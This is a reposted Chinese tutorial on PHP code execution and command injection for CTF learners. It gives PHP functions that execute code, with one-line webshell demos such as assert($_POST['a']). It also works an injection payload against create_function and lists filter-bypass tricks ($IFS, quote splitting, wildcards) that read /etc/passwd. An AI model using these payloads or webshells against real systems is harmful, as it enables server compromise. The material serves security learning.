代码执行与命令注入
0x01 代码执行
1.eval
2.assert
3.call_user_func
4.call_user_fuc_array
5.create_function
6.preg_replace
7.array_map
8.array_filter
9.usort
10.${}
0x02 命令执行
1.system
2.exec
3.passthru
4.shell_exec
5.反引号
6.ob_start
0x03 绕过
1.常见分隔符
2.绕过空格
3.各类符号
4.敏感字符绕过
看到一位大佬写的一篇关于代码执行和命令注入的短文章,还挺实用,尤其是对于我们这些新手来说,所以拿来分享
内容引自:链接地址
0x01 代码执行
代码执行概念:
远程代码执行实际上就是调用服务器网站代码进行执行。
执行方法:
1.eval
eval():将字符串当做函数进行执行(需要传入一个完整的语句),执行后会输出一个hello
demo:
2.assert
assert():判断是否为字符串,是则当成代码执行
低版本的demo:
<?php assert($_POST['a']);?>
1
1
php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。
7.0之后的demo:
<?php
$a = 'assert';
$a(phpinfo());
?>
1
2
3
4
1
2
3
4
3.call_user_func
call_user_func():回调函数,可以使用is_callable查看是否可以进行调用
demo:
<?php
highlight_file(__FILE__);
$a = 'system';
$b = 'pwd';
call_user_func($a,$b);
call_user_func('eval','phpinfo()');
?>
1
2
3
4
5
6
7
1
2
3
4
5
6
7
其中基本可以传递任何内置的和用户自定义的函数, 除了语言结构:array、echo、empty、eval…
4.call_user_fuc_array
call_user_fuc_array():回调函数,参数为数组
demo:
<?php
highlight_file(__FILE__);
$array[0] = $_POST['a'];
call_user_func_array("assert",$array);
?>
1
2
3
4
5
1
2
3
4
5
5.create_function
create_function():创建匿名函数
string create_function(string $args,string $code)
args是要创建的函数的参数,code是函数内的代码
demo:
<?php
highlight_file(__FILE__);
$a = create_function('$code', 'echo $code');
$b = 'hello';
$a($b);
$a = 'phpinfo();';
$b = create_function(" ", $a);
$b();
?>
1
2
3
4
1
2
3
4
5
6.preg_replace
preg_replace():当为/e时代码会执行,前提是不超过php7
demo:
<?php
highlight_file(__FILE__);
$a = 'phpinfo()';
$b = preg_replace("/abc/e", $a, 'abc');
?>
1
2
3
4
5
1
2
3
4
5
7.array_map
array_map():为数组的每个元素应用回调函数
demo:
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>
1
2
3
4
5
6
7
1
2
3
4
5
6
7
用法:/?a=assert&b=phpinfo();
8.array_filter
array_filter():依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含
在返回的结果数组中。数组的键名保留不变。
demo:
<?php
highlight_file(__FILE__);
$array[0] = $_GET['a'];
array_filter($array,'assert');
?>
1
2
3
4
5
1
2
3
4
5
9.usort
usort():使用自定义函数对数组进行排序
demo:
<?php
highlight_file(__FILE__);
usort(...$_GET);
#usort($_GET[1],'assert');
?>
1
2
3
4
5
1
2
3
4
5
…$GET是php5.6引入的新特性。即将数组展开成参数的形式
用法:
1[]=phpinfo()&1[]=123&2[]=assert
1
1
大致过程:
大概过程就是,GET变量被展开成两个参数[‘phpinfo’, ‘123’]和assert,传入usort函数。usort函数的第二个参数是一个回调函数
assert,其调用了第一个参数中的phpinfo();
10.${}
${}:中间的php代码将会被解析
demo:
<?php
highlight_file(__FILE__);
${phpinfo()};
?>
1
2
3
4
1
2
3
4
代码执行例题
题目:
<?php
highlight_file(__FILE__);
$price = $_GET['price'];
$code = 'echo $name.'.'的价格是'.$price.';';
$b = create_function('$name', $code);
$b('iphone');
?>
1
2
3
4
5
6
7
1
2
3
4
5
6
7
代码逻辑很清楚,调用b这个匿名函数,参数为iphone。
在整个过程中,我们能够控制的只有name的值,我们把这个函数b拆开来看就变成了下面这样:
function b($name){
echo $name.'.'的价格是'.$price;
}
1
2
3
1
2
3
所以最后构造payload为:123;}phpinfo();/*
那么传入后代码就会变成下面这样:
function b($name){
echo $name.
}phpinfo();/*'.'的价格是'.$price;
}
1
2
3
4
1
2
3
4
0x02 命令执行
命令执行概念:
通过易受攻击的应用在主机上执行任意命令。
命令执行常见函数:
1.system
system:可以执行系统命令并将其输出
demo:
<?php
highlight_file(__FILE__);
system('pwd');
system('whoami');
?>
1
2
3
4
5
1
2
3
4
5
2.exec
exec:执行命令,但无输出,可以使用output进行输出
demo:
<?php
highlight_file(__FILE__);
exec('pwd',$b);
var_dump($b);
?>
1
2
3
4
5
1
2
3
4
5
3.passthru
passthru:执行命令并输出
demo:
<?php
highlight_file(__FILE__);
passthru('ls');
?>
1
2
3
4
1
2
3
4
4.shell_exec
shell_exec:执行命令,但无回显
demo:
<?php
highlight_file(__FILE__);
var_dump(shell_exec('ls'));
?>
1
2
3
4
1
2
3
4
5.反引号
反引号:执行shell命令,并返回输出的字符串
demo:
<?php
highlight_file(__FILE__);
$a = 'pwd';
echo `$a`;
?>
1
2
3
4
5
1
2
3
4
5
6.ob_start
ob_start:打开输出控制缓冲
demo:
<?php
highlight_file(__FILE__);
ob_start("system");
echo "whoami";
ob_end_flush();
?>
1
2
3
4
5
6
1
2
3
4
5
6
0x03 绕过
1.常见分隔符
• 换行符 %0a
• 回车符 %0d
• 连续指令 ;
• 后台进程 &
• 管道符 |
• 逻辑 || &&
1
2
3
4
5
6
1
2
3
4
5
6
2.绕过空格
• $IFS
• <
• ${IFS}
• $IFS$9
• %09
1
2
3
4
5
1
2
3
4
5
3.各类符号
即使用”substr string pos len“的方法进行取字符
demo:
echo "${PATH:0:1}"
echo "`expr$IFSsubstr$IFS$(pwd)$IFS1$IFS1`"
echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)`
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
• %0a
• %0d
• %00
• %20
1
2
3
4
5
6
7
8
1
2
3
4
5
6
7
8
4.敏感字符绕过
变量绕过
a=l,b=s;$a$b
1
1
base64编码绕过
echo 'cat' | base64
1
1
未定义的初始化变量
cat$b /etc/passwd
1
1
连接符
cat /etc/pass’w’d
1
1
使用通配符:
如:
/???/?s --help
1
1
题目地址:http://moectf.cn:10012/
payload:/?cmd=eval($_GET[%27a%27]);&a=system(ls);